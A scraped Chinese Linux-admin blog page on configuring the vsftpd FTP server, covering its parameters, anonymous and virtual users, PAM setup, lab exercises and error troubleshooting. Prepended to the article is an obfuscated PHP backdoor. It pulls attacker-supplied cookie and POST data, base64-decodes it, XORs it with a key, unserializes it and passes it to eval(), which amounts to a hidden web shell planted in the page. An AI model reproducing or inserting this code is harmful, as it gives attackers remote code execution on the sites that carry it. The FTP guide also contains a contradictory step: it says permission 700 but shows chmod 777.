$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} ftp的配置 | Linux运维部落

ftp的配置

FTP服务器配置

VSFTP主配置文件路径:/etc/vsftpd/vsftpd.conf,重要参数:

anonymous_enable=yes/no 是否允许匿名用户访问

anon_upload_enable=yes/no 是否允许匿名用户上传文件

anon_mkdir_write_enable=yes/no 是否允许匿名用户创建目录

anon_other_write_enable=yes/no 匿名用户和虚拟用户是否拥有删除权限

local_enable=yes/no 是否允许本地用户登陆

write_enable=yes/no 设置全局是否可写

anon_root=/var 指定匿名用户目录

chroot_local_user=yes 锁定所有用户到用户主目录

chroot_list_enable=yes/no 锁定列表中的用户到主目录,需要配合下一参数使用

chroot_list_file=/etc/vsftpd/chroot_list 指定存储被锁定用户的列表文件位置

chown_uploads=yes/no 匿名用户上传所有者指定功能,需要与下一参数配合使用

chown_username=用户名 指定匿名用户上传文件的所有者

max_clients=300 最大客户端连接数为300

anon_max_rate=30000 匿名用户和虚拟用户限速为30K/S

local_max_rate=30000 本地用户限速为30K/S

max_per_ip=10 每个IP最大连接数

listen_port=22 更改监听端口

实现如下要求:允许匿名用户登陆,匿名用户限速为60K/S,只允许下载。监听端口为22,最大连接数为10。新建用户ftp1,限速为200K/S,允许上传下载删除新建文件夹。进入目录/etc/vsftpd,用vi编辑器打开vsftpd.conf主配置文件:

直接添加以下选项: [root@LidadeFedora vsftpd]# service vsftpd restart

添加用户ftp1,设置登录脚本为 /sbin/nologin:

vsftp默认目录为:/var/ftp,为方便测试,在/var/ftp下新建一个文件”testLocal”,在”/var/ftp/pub”新建一个文件”testAnon”。

由于使用root用户新建文件,文件的所有者为root,所以需要把文件的权限设置为644其他用户才能读取该文件

设置/var/ftp/pub权限为777,表示所有用户均有读写权限.

由于端口22被ssh服务器占用,所以需要关闭ssh服务并重启vsftp服务。

客户端用Flashfxp测试:新建站点”VsftpTest”,输入Vsftp服务器的IP地址,端口填22,用户名填ftp1,密码填你设置的密码,然后点击”连接”按钮:

由于没有使用选项:local_root,登陆本地用户时自动跳转到该用户的主目录.没有使用chroot_local_user=yes,所以本地用户可以浏览整个文件系统中他有权限读取的文件和文件夹:

切换到目录”/var/ftp/pub”,该目录的权限为777,上传一个10M以上的文件,测试ftp1的上传速度:

新建文件夹和删除权限测试省略。下面测试匿名用户权限:勾选”匿名”选项并连接:

匿名用户登陆成功: 进入pub目录,尝试删除testAnon文件失败,说明这里是配置文件中的anon_other_write_enable=no生效了。最终权限等于配置文件中的权限和linux文件系统权限相或的结果。比如vsftp配置文件中允许匿名用户下载,但光这样是不够的,还需要被下载的文件或文件夹的能够被其他用户读取。

尝试上传文件失败,符合匿名用户只允许下载的要求:

最后测试匿名用户的下载速度:

vsftp的配置参数总共也就10来行,但是想要使用好它,绝没有单单理解这10来行这么简单,需要对每一行所定义的参数都理解透彻才可以.

匿名用户的配置:

anonymous_enable=YES //允许匿名用户登录

anon_root=/var/ftp/anonymous //设定匿名用户登录后的根目录

anon_upload_enable=YES //允许匿名用户上传文件

只需要打开如上的参数即可,不用做其他的设置.本地用户登录配置

首先说一下概念,什么是本地用户,本地用户就是你系统/home目录下的用户,当然有的用户建立时候使用-m命令,使用户在/home下没有目录,但是这个词的意思就是系统里面有的用户.

local_enable=YES //允许本地用户登录

local_root=/home //限制本地用户登录后的根目录

eg:

[root@centos ftp]# ftp 192.168.0.125

Connected to 192.168.0.125.

220 (vsFTPd 2.0.5)

530 Please login with USER and PASS.

530 Please login with USER and PASS.

KERBEROS_V4 rejected as an authentication type

Name (192.168.0.125:root): xu

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

227 Entering Passive Mode (192,168,0,125,135,123)

150 Here comes the directory listing.

drwx—— 2 505 503 4096 Jun 26 09:42 chuan

drwx—— 2 507 507 4096 Jun 30 22:26 ftp

drwx—— 2 504 502 4096 Jun 26 09:42 joe

drwx—— 2 506 503 4096 Jun 26 09:43 laomeng

drwx—— 2 502 504 4096 Jun 26 09:42 master

drwx—— 2 503 502 4096 Jun 26 09:42 mike

drwx—— 2 500 500 4096 Jun 25 21:34 xiaochuan

drwxrwxrwx 2 508 508 4096 Jun 30 22:39 xu

drwx—— 2 501 501 4096 Jun 25 20:25 xujunchuan

226 Directory send OK.

ftp> pwd

257 “/home”

限制用户目录部分

chroot_local_use=YES|NO //是否将本地用户锁定在家目录

chroot_list_enable=YES|NO //是否锁定使用者在家目录中

chroot_list_file=/etc/vsftpd/chroot_list //一般情况下都将这个文件写在/etc/vsftpd目录下,这个文件就是设置锁定用户的一个列表文件,其中一行就代表一个用户

设置欢迎信息

dirmessage_enable=YES

message_file=.message

[root@centos ftp]# cd /home

[root@centos home]# vi .message

welcomt to VSFTP………….

C:Documents and SettingsAdministrator>ftp 192.168.0.125

Connected to 192.168.0.125.

220 (vsFTPd 2.0.5)

User (192.168.0.125:(none)): xu

331 Please specify the password.

Password:

230-welcomt to VSFTP………….

230 Login successful.

ftp>

虚拟账户配置

本地账户vuser,目录定在/var/ftp/vuser.虚拟账户may密码123;ccc密码123

随意哪个目录建立vuser.txt,按行将虚拟账户及其密码输入进去,我在/目录下设置的,格式如下:

may

123

ccc

123

[root@centos /]# db_load -T -t hash -f vuser.txt /etc/vsftpd/vuser.db

[root@centos /]# cd /etc/vsftpd/

[root@centos vsftpd]# ls

ftpusers user_list vsftpd.conf vsftpd_conf_migrate.sh vuser.db

[root@centos vsftpd]# vi chroot_list

vuser

[root@centos vsftpd]# ls

chroot_list ftpusers user_list vsftpd.conf vsftpd_conf_migrate.sh vuser.db

[root@centos vsftpd]# vi vsftpd.conf //进入配置文件,更改如下配置

anonymous_enable=NO

local_enable=YES //虚拟帐户对应的是系统本地用户,所以必须开启这一项

anon_upload_enable=YES //开启此项以后,使用虚拟账户后可以上传文件.

write_enable=YES //开启用户写权限.与上面那个参数需要同时开启,才可以上传文件

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES

guest_enable=YES

guest_username=vuser

chroot_list_enable=YES //将虚拟用户锁定在其对应本地账户设置时的根目录下.

chroot_list_file=/etc/vsftpd/chroot_list

多虚拟账户对应不同目录的VSFTP

本地用户vuser,ftpvip.虚拟账户ftp1,ftp2密码均是123.ftp1对应vuser,ftp2对应ftpvip.

修改vuser.txt,添加新的虚拟账户.

[root@centos vsftpd]# vi /vuser.txt

may

123

ccc

123

ftp1

123

ftp2

123

[root@centos vsftpd]# useradd -d /var/ftp/vip ftpvip

修改主conf参数,增加以下配置,填写”user_config_dir=/ftpconfig”,这个就是定义不同账户对应不同目录的重要所在.

pam_service_name=vsftpd

userlist_enable=YES

tcp_wrappers=YES

guest_enable=YES

user_config_dir=/ftpconfig

ftp1和ftp2用户的具体参数配置都需要/ftpconfig下的ftp1和ftp2文件来定义.我将已经写好的配置如下:

[root@centos vsftpd]# cat /ftpconfig/ftp1

local_root=/var/ftp/vuser

guest_username=vuser

anon_world_readable_only=no

[root@centos vsftpd]# cat /ftpconfig/ftp2

local_root=/var/ftp/vip

guest_username=ftpvip

anon_world_readable_only=no

vsftp的含义就是Very Security Ftp,下面就简要的说一下它的配置和使用方法,通过本文的介绍也希望您能了解在Linux下配置一个网络服务的基本过程

1.相关配置文件

/etc/vsftpd.conf,vsftpd.ftpuser,vsftpd.user_list,/etc/xinetd.d/vsftpd

2.配置vsftp

主要是修改/etc/vsftpd.conf就可以了,相关参数如下:

anonymous_enable=YES 是否允许匿名ftp,如否则选择NO

local_enable=YES 是否允许本地用户登录

local_umask=022 默认的umask码

anon_upload_enable=YES 是否允许匿名上传文件

anon_mkdir_write_enable=YES 是否允许匿名用户有创建目录的权利

dirmessage_enable=YES 是否显示目录说明文件,默认是YES但需要收工创建.message文件

xferlog_enable=YES 是否记录ftp传输过程

connect_from_port_20=YES 是否确信端口传输来自20(ftp-data)

chown_upload=YES

chown_username=username 是否改变上传文件的属主,如果是需要输入一个系统用户名,你可以把上传的文件都改成root属主

xferlog_file=/var/log/vsftpd.log ftp传输日志的路径和名字默认是/var/log/vsftpd.log

xferlog_std_format=YES 是否使用标准的ftp xferlog模式

idle_session_timeout=600 设置默认的断开不活跃session的时间

data_connection_timeout=120 设置数据传输超时时间

nopriv_user=ftpsecure 运行vsftpd需要的非特权系统用户默认是nobody

async_abor_enable=YES 是否允许运行特殊的ftp命令async ABOR.这里我翻译的不爽,原文如下:

When enabled, a special FTP command known as “async ABOR” will be enabled. Only ill advised FTP clients will use this feature.Addtionally, this feature is awkward to handle, so it is dis-abled by default. Unfortunately, some FTP clients will hang when cancelling a transfer unless this feature is available, so you may wish to enable it.

ascii_upload_enable=YES

ascii_download_enable=YES 是否使用ascii码方式上传和下载文件

ftpd_banner=Welcome to chenlf FTP service. 定制欢迎信息

deny_email_enable=YES

banned_email_file=/etc/vsftpd.banned_emails 是否允许禁止匿名用户使用某些邮件地址,如果是输入禁止的邮件地址的路径和文件名

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd.chroot_list 是否将系统用户限止在自己的home目录下,如果选择了yes那么chroot_list_file=/etc/vsftpd.chroot_list中列出的是不chroot的用户的列表

max_clients=Number 如果以standalone模式起动,那么只有$Number个用户可以连接,其他的用户将得到错误信息,默认是0不限止

message_file 设置访问一个目录时获得的目录信息文件的文件名,默认是.message

没发现有限止带宽的地方,如果谁知道请告诉我,详细的帮助说明请参考man vsftpd.conf

3 配置实例

以下是我的配置文件.允许匿名FTP,允许上传,chroot用户目录,上传文件属主改为root

anonymous_enable=YES

local_enable=YES

write_enable=YES

local_umask=022

anon_upload_enable=YES

anon_mkdir_write_enable=YES

dirmessage_enable=YES

xferlog_enable=YES

connect_from_port_20=YES

chown_uploads=YES

chown_username=root

xferlog_file=/var/log/vsftpd.log

xferlog_std_format=YES

pam_service_name=vsftpd

chroot_local_user=YES

VSFTP故障排除:

匿名用户 /var/ftp

本地用户 /home/username

配置vsftpd时,强烈建议

•# cp /etc/vsftpd.conf /etc/vsftpd.conf1 //备份,vsftpd.conf是个比较苛刻的主文件,修改时不小心在有效行后加一个空格就会使服务启用失败

# diff /etc/vsftpd.conf /etc/vsftpd.conf1 //文件内容比较

•做一步,重启一下,测试

# vi /etc/vsftpd.conf

anonymous_enable=YES // :7 ,匿名帐户可登陆

local_enable=YES // :10 ,本地帐户可以登陆

write_enable=YES // :13 ,用户通过ftp在服务器上是否有写权限

local_umask=022 // :17 ,创建时默认权限。文件夹=777-umask,文件=666-umask

anon_upload_enable=YES // :22 ,允许匿名帐户上传

anon_mkdir_write_enable=YES // :26 ,允许匿名帐户创建文件夹

chown_uploads=YES // :41 ,开启匿名帐户上传自动更改所属功能

chown_username=bob // :42 ,属主改为bob

idle_session_timeout=600 // :52 ,空闲会话超时时间

ascii_upload_enable=YES // :76 ,以ASCII方式上传

ftpd_banner=Welcome to blah FTP service. // :80 ,欢迎界面

chroot_list_enable=YES // :91 ,开启用户更改根目录功能,默认为禁用更改根

chroot_list_file=/etc/vsftpd.chroot_list // :93 ,该文件中所有用户无法更改根

查看文件其它参数 # man vsftpd.conf

anon_other_write_enable=YES // 允许匿名帐户删除、重命名

anon_root=/ftp // 更改匿名帐户根目录,默认为”/var/ftp”

local_root=/local // 更改本地帐户根目录为/local,默认为用户主目录~

userlist_enable=YES // 开启用户列表功能

userlist_deny=YES // 用户列表文件中所有帐户全拒绝。NO时,只有列表中用户能登陆

userlist_file=/etc/vsftpd.user_list // 用户列表文件

anon_max_rate=0 // 匿名用户最大传输速率,0为无限

local_max_rate=0 // 本地用户最大传输速率,0为无限

max_clients=0 // 最大客户端连接数,0为无限

pasv_max_port=0 // 客户端端口最大限制,0为无限制

pasv_min_port=0 // 客户端端口最小限制,0为无限制

测试:

方法一、IE(不建议)

方法二、cmd(强烈推荐),有回显提示。

ftp常用测试命令

? 帮助

bye 退出

quit 退出

exit 退出(仅linux客户端)

cd 服务器端路径更改

lcd 本地路径更改

pwd 显示服务器端当前路径

dir 显示服务器端当前目录中内容(显示权限)

ls 显示服务器端当前目录中内容(在linux中使用时也显示权限)

put 上传

get 下载

mkdir 建文件夹

rmdir 删除文件夹

rename 重命名

delete 删除文件

实验一、针对于本地用户的设置

1、限定只有本地帐户能登陆,匿名帐户无法登陆

2、本地帐户bob不可以更改自已主目录以外的其他目录

3、在本地帐户中只有bob能登陆,alice不能登陆

4、本地帐户可以上传文件,以ASCII方式上传

5、登陆时显示欢迎信息“Welcome to my ftp site”

# vi /etc/vsftpd.conf

anonymous_enable=NO // 1、:7;需改

local_enable=YES // 1、:10;默认,确认

230 Login successful. Have fun. 验证:登陆成功提示

Login failed. 验证:登陆失败提示

chroot_list_enable=YES // 2、:91;需删除开头#号注释

chroot_list_file=/etc/vsftpd.chroot_list // 2、:93;需删除开头#号注释

ftp> pwd

257 “/” 验证:成功显示

257 “/home/bob” 验证:改之前显示

userlist_enable=YES // 3、添加

userlist_deny=NO // 3、添加

userlist_file=/etc/vsftpd.user_list // 3、添加

write_enable=YES // 4、:13;默认,确认

ascii_upload_enable=YES // 4、:76;需删除开头#号注释

ftpd_banner=Welcome to my ftpsite // 5、:80;需删除开头#号注释,需修改

x: > ftp 192.168.1.201

Connected to 192.168.1.201.

220 Welcome to my ftp site 验证:未登陆提示

# echo bob >> /etc/vsftpd.user_list // 3、添加新行bob

# echo bob > /etc/vsftpd.chroot_list // 2、需存在该文件

# chkconfig vsftpd on // 超级守护立即启动、开机自动启动

# service xinetd restart // 重启vsftpd服务

测试:

x: > ftp linux.wnt.com.cn

实验二、针对于匿名帐户的设置

1、只有匿名帐户可以登陆

2、在FTP目录下创建incoming目录

3、允许匿名访问,但不允许在ftp目录中创建,删除

4、允许匿名用户在incoming目录中上传,创建,删除目录。

5、匿名帐户上传的文件,自动变为alice所属

6、用户空闲600秒自动中断

7、匿名帐户最大传输速率50kbytes/sec

8、客户端口连接范围50000到60000

# vi /etc/vsftpd.conf

anonymous_enable=YES // 1、:7或“/anonymous” 确认

local_enable=NO // 1、:10或“/local” 修改

anon_upload_enable=YES // 4、:22或“/upload” 删除注释

anon_mkdir_write_enable=YES // 4、:26或“/mkdir” 删除注释

anon_other_write_enable=YES // 4、:27 添加

chown_uploads=YES // 5、:41或“/chown” 删除注释

chown_username=alice // 5、:42 删除注释,再修改

idle_session_timeout=600 // 6、:52或“session” 删除注释

anon_max_rate=50000 // 7、 添加

pasv_min_port=50000 // 8、 添加

pasv_max_port=60000 // 8、 添加

# mkdir /var/ftp/incoming // 2、

# chmod go+w /var/ftp/incoming // 4、 g(group)组、o(other)其它人全有写权限

# chkconfig vsftpd on ==> # service xinetd restart

实验三、针对于超级守护的安全性限制(8。0版本可配,因9。0后vsftpd改为独立守护进程不能用此方法)

1、限定192.168.1.0/24能访问

2、10.0.0.0不能访问

3、每个客户机最大连接数1

4、服务器最大连接数200

5、只有13:00到17:00期间能访问ftp服务器

# vi /etc/xinetd.d/vsftpd

only_from = 192.168.1.0 // 1、添加在括号内

no_access = 10.0.0.0 // 2、添加在括号内

per_source = 1 // 3、添加在括号内

instances = 200 // 4、添加在括号内

access_times = 13:00-17:00 // 5、添加在括号内

ftp客户连接常见故障现象

现象0:

> ftp: connect :连接被拒绝

原因: 服务没启动

解决: # chkconfig –level 35 vsftpd on

现象1:

500 OOPS: cannot open user list file

原因: 不存在文件“/etc/vsftpd.user_list”或文件中不存在该帐户

解决: # echo username >> /etc/vsftpd.user_list

现象2:

530 Permission denied.

Login failed.

原因: “/etc/vsftpd.user_list”文件中不存在当前登陆用户

解决: # echo username >> /etc/vsftpd.user_list

现象3:

500 OOPS: cannot open chroot() user list file

Login failed.

原因: 不存在文件“/etc/vsftpd.chroot_list”

解决: # echo username >> /etc/vsftpd.chroot_list

现象4:

500 OOPS: missing value in config file

Connection closed by remote host.

原因: “=”等号前值有问题,或只有一个空格

解决: 修正相应的值即可,可能过 diff 来比较查找

现象5:

500 OOPS: bad bool value in config file

Connection closed by remote host.

原因: “=”等号后值有问题

解决: 将“=”等号后值确认修改

现象6:

500 OOPS: unrecognised variable in config file

Connection closed by remote host.

原因: 参数前有空格

解决: 将参数前空格删除

现象7、

确认存在“local_enable=YES”,但本地用户无法登陆

原因: 验证参数被误删除

解决: 添加“pam_service_name=vsftpd”

现象8、

500 OOPS: chdir

500 OOPS: child died

Connection closed by remote host.

原因: 用户主目录没有权限或没有主目录

解决: 正确设置用户主目录权限

RHEL4 VSFTP安装:

实验环境:AS4最小化安装

实验目标:架设VSFTP服务器

编辑: leige_linux 2009.5.29

联系方式:

http://leige.cublog.cn

使用rpm命名可顺利安装该软件包

# rpm -ivh vsftpd-2.0.1-5.i386.rpm

安装完后默认就可以启动vsftp服务了,

[root@localhost ~]# service vsftpd start

Starting vsftpd for vsftpd: [ OK ]

但是默认我们只能看,不能上传。

1,下面我们开启匿名用户上传

[root@localhost /]# vi /etc/vsftpd/vsftpd.conf

anon_upload_enable=YES

anon_mkdir_write_enable=YES

[root@localhost /]# service vsftpd restart

Shutting down vsftpd: [ OK ]

Starting vsftpd for vsftpd: [ OK ]

2,将FTP本地用户禁锢在宿主目录中 ,在vsftpd.conf文件中添加设置项

chroot_local_user=YES

重新启动vsftpd服务,# service vsftpd restart

3.建立虚拟帐号

a,建立虚拟用户口令库文件

[root@localhost ~]# cat logins.txt

mike

123

john

321

口令库文件中奇数行设置用户名,偶数行设置口令

b,生成vsftpd的认证文件(在第3张光盘中安装)

[root@localhost RPMS]# rpm -ivh db4-utils-4.2.52-7.1.i386.rpm

warning: db4-utils-4.2.52-7.1.i386.rpm: V3 DSA signature: NOKEY, key ID db42a60e

Preparing… ########################################### [100%]

1:db4-utils ########################################### [100%]

[root@localhost RPMS]# db_load -T -t hash -f /root/logins.txt /etc/vsftpd/vsftpd_login.db 生成认证文件

c, 设置认证文件只对用户可读可写

# chmod 600 /etc/vsftpd/vsftpd_login.db

d,建立虚拟用户所需的PAM配置文件

手工建立vsftpd.vu文件

# cat /etc/pam.d/vsftpd.vu

auth required /lib/security/pam_userdb.so db=/etc/vsftpd/vsftpd_login

account required /lib/security/pam_userdb.so db=/etc/vsftpd/vsftpd_login

e,建立虚拟用户及要访问的目录并设置相应的权限

建立所有FTP虚拟用户帐号使用的系统用户帐号,并设置该帐号宿主目录的权限

# useradd -d /home/ftpsite virtual

# chmod 700 /home/ftpsite

f,设置vsftpd.conf配置文件

在配置文件中添加虚拟用户的配置内容

guest_enable=YES

guest_username=virtual

pam_service_name=vsftpd.vu

重新启动vsftpd服务程序

g,对vsftpd.conf文件修改后需要重新启动vsftpd服务程序

# service vsftpd restart

现在就应该可以用虚拟帐号登陆了,

4,对虚拟用户设置不同的权限

设置主配置文件

在vsftpd.conf文件中添加用户配置文件目录设置

user_config_dir=/etc/vsftpd_user_conf

建立用户配置文件目录

使用mkdir命令建立用户配置文件目录

# mkdir /etc/vsftpd_user_conf

为虚拟用户建立单独的配置文件

用户配置文件名称与用户名相同

/etc/vsftpd_user_conf/mike

/etc/vsftpd_user_conf/john

里面的内容如下:

anon_world_readable_only=NO 表示用户可以浏览FTP目录和下载文件

anon_upload_enable=YES 表示用户可以上传文件

anon_mkdir_write_enable=YES 表示用户具有建立和删除目录的权限

anon_other_write_enable=YES 表示用户具有文件改名和删除文件的权限

没有的配置项默认按照vsftpd.conf的配置内容

5,FTP服务器的资源限制

max_clients=100 允许最大的客户端连接数

max_per_ip=5 同一IP最大客户端的连接数

local_max_rate=5000000 设置本地用户最大传输数率

anon_max_rate=2000000 匿名用户最大的传输数率

虚拟用户:

一:基本知识

1:虚拟用户:与系统无关联,不能登入系统,只能访问FTP服务器

2:vsftp的服务进程是vsftpd

3:vsftpd的配置文件是/etc/vsftpd/vsftpd.conf .

4:vsftpd的用户文件是/etc/vsftpd/ftpusers

5:vsftpd的用户文件是/etc/vsftpd/user_list

6:推荐使用虚拟用户登入vs-FTP服务器

二:建立虚拟用户的过程

1:创建虚拟用户文本文件,添加虚拟用户和密码

touch /etc/vsftpd/vuser.txt

mike

123456

john

123456

2:生成虚拟数据库文件

db_load –T –t hash –f /etc/vsftpd/vuser.txt /etc/vsftpd/vuser.db

3:配置PAM文件,目的是对客户端进行验证

编辑/etc/pam.d/vsftpd文件,批注所有内容,后添加:

auth required pam_userdb.so db=/etc/vsftpd/vuser

account required pam_userdb.so db=/etc/vsftpd/vuser

4:修改虚拟数据库文件vuser.db的权限为 700

chmod 777 vuser.db

5:增加一个实体用户vuser ,使用它来对应所有虚拟用户,虚拟用户使用实体用户来访问ftp服务器。

useradd -d /var/ftp/vuser vuser

mkdir /var/ftp/vuser

chown vuser.vuser /var/ftp/vuser

6:修改vsftpd.conf配置文件,使虚拟用户可以访问vsftpd服务器

guest_enable=YES ####激活虚拟账户

guest_username=vuser ####把虚拟账户绑定为实体账户vuser

pam_service_name=vsftpd ####使用PAM验证

7:使用虚拟用户mike成功访问ftp服务器

三:控制虚拟用户的访问

1:设置虚拟用户的主配置文件,编辑vsftpd.conf文件,激活:

user_config_dir=/etc/vsftpd/vsftpd_user_conf

2: 建立vsftpd_user_conf

mkdir /etc/vsftpd/vsftpd_user_conf

3:设置虚拟用户配置文件,与虚拟账户同名

touch /etc/vsftpd/vsftpd_user_conf/mike

4:编辑虚拟账户mike的配置文件mike,是虚拟账户mike获得相应的权限

anon_world_readable_only=NO ###浏览FTP目录和下载

anon_upload_enable=YES ###上传

anon_mkdir_write_enable=YES ###建立和删除目录

anon_other_write_enable=YES ####改名和删除文件

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/87841

(0)
上一篇 2017-10-16 12:46
下一篇 2017-10-16 13:50

相关推荐

  • 学而时习之

    1、 Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 文件管理类命令 ls, 查看:cat,more,less,tail,head,tac 复制:cp 移动:mv 删除:rm 创建:touch 元数据属性:stat 查看内容类型:file 文本编辑器:nano,vi Linux的文件类型       &…

    Linux干货 2016-09-24
  • Linux基础知识之脚本初级编程

    1.编程语言的分类:机器语言,汇编语言,高级语言     高级语言:         静态语言:编译型语言 在程序执行之前就会编译成机器代码(完全转化完成)       &nbsp…

    Linux干货 2016-08-15
  • LVM逻辑卷管理

    一、简述 什么是逻辑卷?LVM(Logical Volume Manager)利用Linux内核device-mapper实现存储系统的虚拟化。通过LVM,把底层存储硬件抽象化成存储逻辑块,再将这些逻辑块集合构成存储池,从存储池空间划分分区,可以简单地扩大或缩小分区,而不用担心硬盘没有足够的连续空间。 使用逻辑卷分区有什么用?使用逻辑卷分区重点在于可以弹性地…

    Linux干货 2016-09-06
  • 第一周作业

    – 描述计算机的组成及其功能。 – 按系列罗列Linux的发行版,并描述不同发行版之间的联系与区别。 – 描述Linux的哲学思想,并按照自己的理解对其进行解释性描述。 – 说明Linux系统上命令的使用格式;详细介绍ifconfig、echo、tty、startx、export、pwd、history、shu…

    Linux干货 2016-12-04
  • Centos6上安装cobbler及cobbler常见参数详解

    前言 Cobbler是一个自动化和简化系统安装的工具,通过使用网络引导来控制和启动安装。Cobbler的特性包括存储库镜像、Kickstart模板和连接电源管理系统。使用Cobbler之前需要先了解下PXE和Kickstart的基本原理,文章包含了Cobbler工作原理和Cobbler部署实践两部分内容,交叉关联性的内容还是蛮多的,遇到报错也不要怕,都会一步…

    Linux干货 2016-11-11
  • linux常用网络配置

    网卡名称:  网络接口识别并命名相关的udev配置文件:    /etc/udev/rules.d/70-persistent-net.rules  卸载网卡驱动:    modprobe  -r e1000  装载网卡驱动:    modprobe &nbs…

    Linux干货 2016-09-06